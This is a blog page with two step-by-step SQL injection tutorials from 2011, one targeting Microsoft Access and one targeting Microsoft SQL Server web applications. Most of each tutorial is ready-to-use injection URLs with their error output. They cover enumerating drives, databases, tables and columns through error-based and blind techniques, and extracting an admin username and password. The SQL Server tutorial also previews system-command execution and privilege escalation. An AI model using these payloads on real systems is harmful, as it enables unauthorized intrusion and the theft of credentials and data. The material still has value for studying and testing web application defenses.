Showing posts with label Microsoft. Show all posts
Showing posts with label Microsoft. Show all posts

Saturday, October 8, 2011

MICROSOFT ACCESS (MSACCESS) and SQL INJECTION

In today’s write-up I will show you to perform SQL injection against a MS ACCESS database. I am not a fan of Access but it is a method that you should be aware of in case you come across this in your security assessments or pentests. I am not a pro but will share my methods based on my experiences, here goes…




Confirm it is not a false positive…
    Integer works...now let us start injecting :)

http://site.com/index.asp?id=1 union select 1 from random.randomtable
This will cause the Access database to throw an error which will tell you the default path for install

Now we can start by checking the existence of any other drive paths, like so:
http://site.com/index.asp?id=1 and 0=(select count(*) from N:\.a)

NOTE: you need to enumerate the "N" for the drive letters you wish to check for existence. You need to read the errors carefully to determine drive type and if it is there or not. Here is quick guide on how to interpret:
        If it says not a valid path then it doesn’t exist


If it says can’t find file then the drive exists and is data drive

If it says disk or network error then it is a drive for memory or cd or something. Repeat until you think you found all drives. Possible options would consist of: a-z

As MS-ACCESS has no information schema so you basically have to bruteforce your way to town as if it was MySQL <=4. The common syntax structure looks like this:
http://site.com/index.asp?id=1 and 0<=(select count(*) from [N]) and 1=1
NOTE: You would enumerate the "N" value for any table you wish to check. If it returns true then the table exists, otherwise keep going and on to the next. If you can automate this part then I highly suggest it (try SQLMAP if you need a good tool).

http://site.com/index.asp?id=1 and 0<=(select count(*) from [admin]) and 1=1
            FALSE: can’t find input table or query "admin"

http://site.com/index.asp?id=1 and 0<=(select count(*) from [tbllogin]) and 1=1
TRUE: Page refreshes like normal, indicating table exists in the database (which is actually a file in Access’ case: filedb.mdb)
   TABLE: tbllogin

Once/If you find tables you then can check the existence of columns in the same manner, just change the syntax to look like this:
http://site.com/index.asp?id=1 and 0<=(select count([N]) from [TableName]) and 1=1

NOTE: You would now place the known TableName found above (tbllogin) and then enumerate possible columns in place of the "N" value above. It will work the same as the tables above in that true will refresh the page with no errors and false will error out. Just keep enumerating until you have what you need and then we can try to extract from it. In this example, I have found:
COLUMNS: id, username, and password.


We now have to work a bit backwards, compared to other methods, as now we need to determine the column count for our table and then we can extract(whereas normally we would find the column count first). If we can’t determine then we can extract using blind methods as well.

To determine the column count for a given table you can try this syntax (we use NULL as opposed to numbers to prevent any errors outputting). You just keep inserting them as if you were using ORDER BY to find where the error is thrown indicating no more columns:
http://site.com/index.asp?id=1 union all select null from [TableName]
http://site.com/index.asp?id=1 union all select null,null from [TableName]
http://site.com/index.asp?id=1 union all select null,null,null from [TableName]




If found we can check for a vulnerable column to use by trying to insert some text on the output where the vulnerable column is, just like normal column counting with MySQL injection:

http://site.com/index.asp?id=1 union all select %2bchr(72)%2bchr(82),null,null,null,null,null,null,null,null from [tbllogin]
http://site.com/index.asp?id=1 union all select null,%2bchr(72)%2bchr(82),null,null,null,null,null,null,null from [tbllogin]
http://site.com/index.asp?id=1 union all select null,null,%2bchr(72)%2bchr(82),null,null,null,null,null,null from [tbllogin]
NOTE: %2bchr(72)%2bchr(82) = +H+R. Just keep moving the char value of text column position through the column spaces and checking to see if it is visible on the screen. If it is you can use this column to extract data from.

If that doesn’t work, we use blind method to extract using this syntax with your details filled in to extract (in my experience this is the method used the majority of the time). You will need to run true false test to determine amount of rows, just test the numerical value at the end of the statement and interpret the results:
http://site.com/index.asp?id=1 and Len((select Count(*) from [TableName]))=<insert-numerical-value>
You can run this to find the number of entries in TableName

http://site.com/index.asp?id=1 and asc(mid((Select Count(*) from [TableName]),1,1)=<insert-numerical-value>
You can run this to find the length of the item we will be extracting

http://site.com/index.asp?id=1 and Len((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t))=<insert-number-value>
FALSE:

TRUE:

Once you know you don’t have to waste so much time with this part....pull each letter one by one and convert char value to see it in clear plain text...
You need to use "<",">",and "=" for the true false comparison part, then insert char value.
You can run this inputting your ColumnName and TableName in appropriate spots. Insert your char value to test at the end of the statement. You can use the "N" to enumerate each char position of your value you are extracting (remember to take note of the length you find above so you don’t go over and waste time ;))

http://site.com/index.asp?id=1 and asc(mid((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t),N,1))=<insert-char-value-here>

NOTE: If for example you had multiple columns, this process would need to be followed for each column in the table and then put together by you to interpret the full row set of data extracted (i.e. do this once to pull the ID number, again to pull the username, and again to pull the password). It can be time consuming to extract so I suggest a good tool to help speed things up if you can find one (I like to use SQLMAP personally or you could work on custom Burpsuite rule set to address all the enumeration steps but that is beyond this scope)

This concludes my write up of how to gain access through MS-ACCESS. I hope you have enjoyed this and find it useful in your endeavors. There are other methods which can be used and leveraged but this is the best general guide I could put together for you. I will work to update it as time permits with a few other tips and tricks to aid you in your injections, but this is it for now. Please check back often to see what else has been released or updated. Until next time, Enjoy!

SPECIAL NOTE: all occurrences of "[" and "]" need to remain in the statements to work properly, this is how Access works. This means you should only change the actual value where it is "TableName", "ColumnName", or "N" and everything else should [remain].

If your interested in any of my other SQL Injection tutorials here are the links:

MICROSOFT SQL SERVER (MSSQL) and SQL INJECTION

Today I am going to go over how to perform SQL Injections when the backend DBMS is MS-SQL Server. I will only go over the basics for now as I am no expert, but I don’t see a lot of detailed tutorials on the net so I am going to do what I can to help out based on my experience with MS SQL Injections. Hopefully I will be able to follow up with another write-up in the not too distant future on some advanced techniques, but to keep it manageable I will cover the basics for now. OK, let’s walk through a basic injection session with MS-SQL Server as the DBMS.


OK, so just like in the other injection techniques I have covered we will start off by testing Integer vs String method as well as order by, group by, as well as and/or statements. If you have reviewed my other tutorials this part should be pretty basic:


[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

As you can see from the error message we have found a MS-SQL server :) Continue a bit to confirm not just a false positive…


OK, so we know it is MS SQL Server, now let us see if we can find the current DB, like so:
http://site.com/index.asp?id= convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Database1' to a column of data type int.

The error will spit out the current DB name in the message, in the above example the current DB is named “Database1”
NOTE: Notice the parameter value has been removed to essentially null it like you would with "-" with normal MySQL injection - especially since we using convert().

NOW to grab some basic info we will use this syntax, and just replace the item to pull with what it is you want to know or grab:
=1 convert(int,<item-to-pull> COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
NOTE: This will work with other language types, but this is what worked for my example so I am using it here to keep it simple on me ;)

http://site.com/index.asp?id= convert(int,user COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    USER: databaseuser@locahost
http://site.com/index.asp?id= convert(int,@@version COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    VERSION:
    Sql Version: Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
    Dec 16 2008 19:46:53
    Copyright (c) 1988-2003 Microsoft Corporation
    Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 2)



http://site.com/index.asp?id= convert(int,system_user COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    SYS-User: datbaseuser
http://site.com/index.asp?id= convert(int,host_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    HOST: database1.badhosting.com
http://site.com/index.asp?id= convert(int,@@SERVERNAME COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    SERVER-NAME: database1.badhosting.com


Now to count the DBs:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count([name]) as nvarchar(4000)) from [master]..[sysdatabases] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!29!R' to a column of data type int.
        DB Count is: 29
NOTE: char(82) = R, char(33) = !, You can use what you want, but it helps to even out the syntax and frame the results

OK, now you know how many….time to get them suing this syntax...
http://site.com/index.asp?id= convert(int,(select cast(name as nvarchar(4000)) from master..sysdatabases where dbid=1)) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'master' to a column of data type int.
        DB=master
**NOTE: **We alternate the value for "dbid=N" to enumerate the rest of the database names. You can also use the not equal to (!=) method but this is faster in my opinion.



Once DB(s) are known we can get tables and columns. Let us start with tables from current db (Database1) and then move outwards...like so:

First we count the number of Tables in the DB we want to fetch tables from…like so:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from information_schema.tables )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!37!R' to a column of data type int.
        TABLE COUNT for DB Database1 = 37

Now that we know how many tables there are, we can get them one by one:
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 1 table_name from information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~Admin~' to a column of data type int.
        First Table found = Admin (yahoo!)

We will repeat using the "N" after our second "select distinct TOP" statement to enumerate the rest of the table names from the database one by one, the basic syntax looks like this:
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top N table_name from information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1
 TABLES-Database1: Admin, links, logosoft, test

Once the tables are known we can grab the columns. It follows the same method as was used above for the tables, but instead of table_name we will change it to column_name and information_schema.columns (instead of .tables). We will also use the second TOP statement to enumerate the columns one by one, just like we did with the tables (N). Also remember since we are using convert() we will also need to char our table name, so have a ascii conversion chart handy or use the one I have on the upper right of page linked.

Here goes :
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 1 column_name from information_schema.columns where table_name=char(65)%2bchar(100)%2bchar(109)%2bchar(105)%2bchar(110) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~PASSWD~' to a column of data type int.
        COLUMN=PASSWD
        NOTE: char(65, 100, 109, 105, 110) = Admin

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 2 column_name from information_schema.columns where table_name=char(65)%2bchar(100)%2bchar(109)%2bchar(105)%2bchar(110) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~USERNAME~' to a column of data type int.
            COLUMN=USERNAME
OK now we are getting somewhere. We now know the table name and the columns and can now extract the contents. It works like so:
Count entries:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from [Admin] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!1!R' to a column of data type int.
        Just one (1) entry, yeah

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([PASSWD],char(32))%2bchar(94)%2bisnull([USERNAME],char(32)) from (select top 1 [PASSWD],[USERNAME] from [Admin] order by [PASSWD] asc) sq order by [PASSWD] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!M8zWt2!2uq^OjuZwqCul!R' to a column of data type int.
        PASSWD: M8zWt2!2uq
        USERNAME: OjuZwqCul
NOTE: we used the char(94) or the ^ symbol as a separator so you will know where one entry  ends and the next starts (this is important and can easily be changed to suit you)

That is good and great that we found Admin table in current DB, but what if we want to investigate other databases? This is where I see a lot of tutorials fail or leave it to you to figure out L, well MS-SQL plays a little different so this does not come easily to all, so I am including it in my tutorial. If you know how to do this then you can stop reading now, but for those that don’t please continue….

I will use the table "logosoft" for our next example. We will need to start from the beginning and change our syntax slightly to get the tables, then columns, then extract. Here is the basic syntax to get started:

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top N table_name from DatabaseName.OwnerName.ObjectORtableName order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1
NOTE: we will still be using the second TOP statement to enumerate again, but also take note of the syntax being used to call the alternate database, it works like this:
DatabaseName.OwnerName.ObjectORtableName
 You can also omit the OwnerName which is why sometime you just see:
 OwnerName..ObjectName (i.e. our original syntax: master..sysdatabases)

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 1 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~dtproperties~' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 2 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~sysconstraints~' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 3 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~syssegments~' to a column of data type int.

OK so now we know there are tables: dtproperties, sysconstraints, and syssegments found within the logosoft database. Now we find the columns, just like before and similar to tables...let us use syssegments to find columns and extract for our continued example:

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 1 column_name from logosoft.information_schema.columns where table_name=char(115)%2bchar(121)%2bchar(115)%2bchar(115)%2bchar(101)%2bchar(103)?%2bchar(109)%2bchar(101)%2bchar(110)%2bchar(116)%2bchar(115) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~name~' to a column of data type int.
        COLUMN: name

OK, now we know database, table, and column(s). Time to extract…
But first a quick entry count:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from [logosoft]..[syssegments] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!3!R' to a column of data type int.
        COUNT: 3 entries

Extraction of the 3 entries needs to be done one at a time unfortunately, so again we will use the second TOP statement to enumerate the data we want:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 1 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!default!R' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 2 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!logsegment!R' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 3 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!system!R' to a column of data type int.

I hope this helps someone out there with better understanding MS SQL Injections. If you get this far there is far more that can be done with an improperly configured MS SQL Server, but I don’t have time for that right now. I will try to do another follow up article to this on more advanced techniques such as executing system level commands, privilege escalation, possible enablement of RDP, and even internal port scanning and DNS requests. All done with SQL injection, very neat stuff in my opinion but I am still learning the advanced techniques myself. I am no expert on this stuff, but this is from my personal experiences and I have found it to work most of the time. I will try to update this article as I find new methods or interesting ways to accomplish these same tasks. I hope you have enjoyed this one, and please check back often to see what else has been updated and added. Until then, Enjoy!


If your interested in any of my other SQL Injection tutorials here are the links: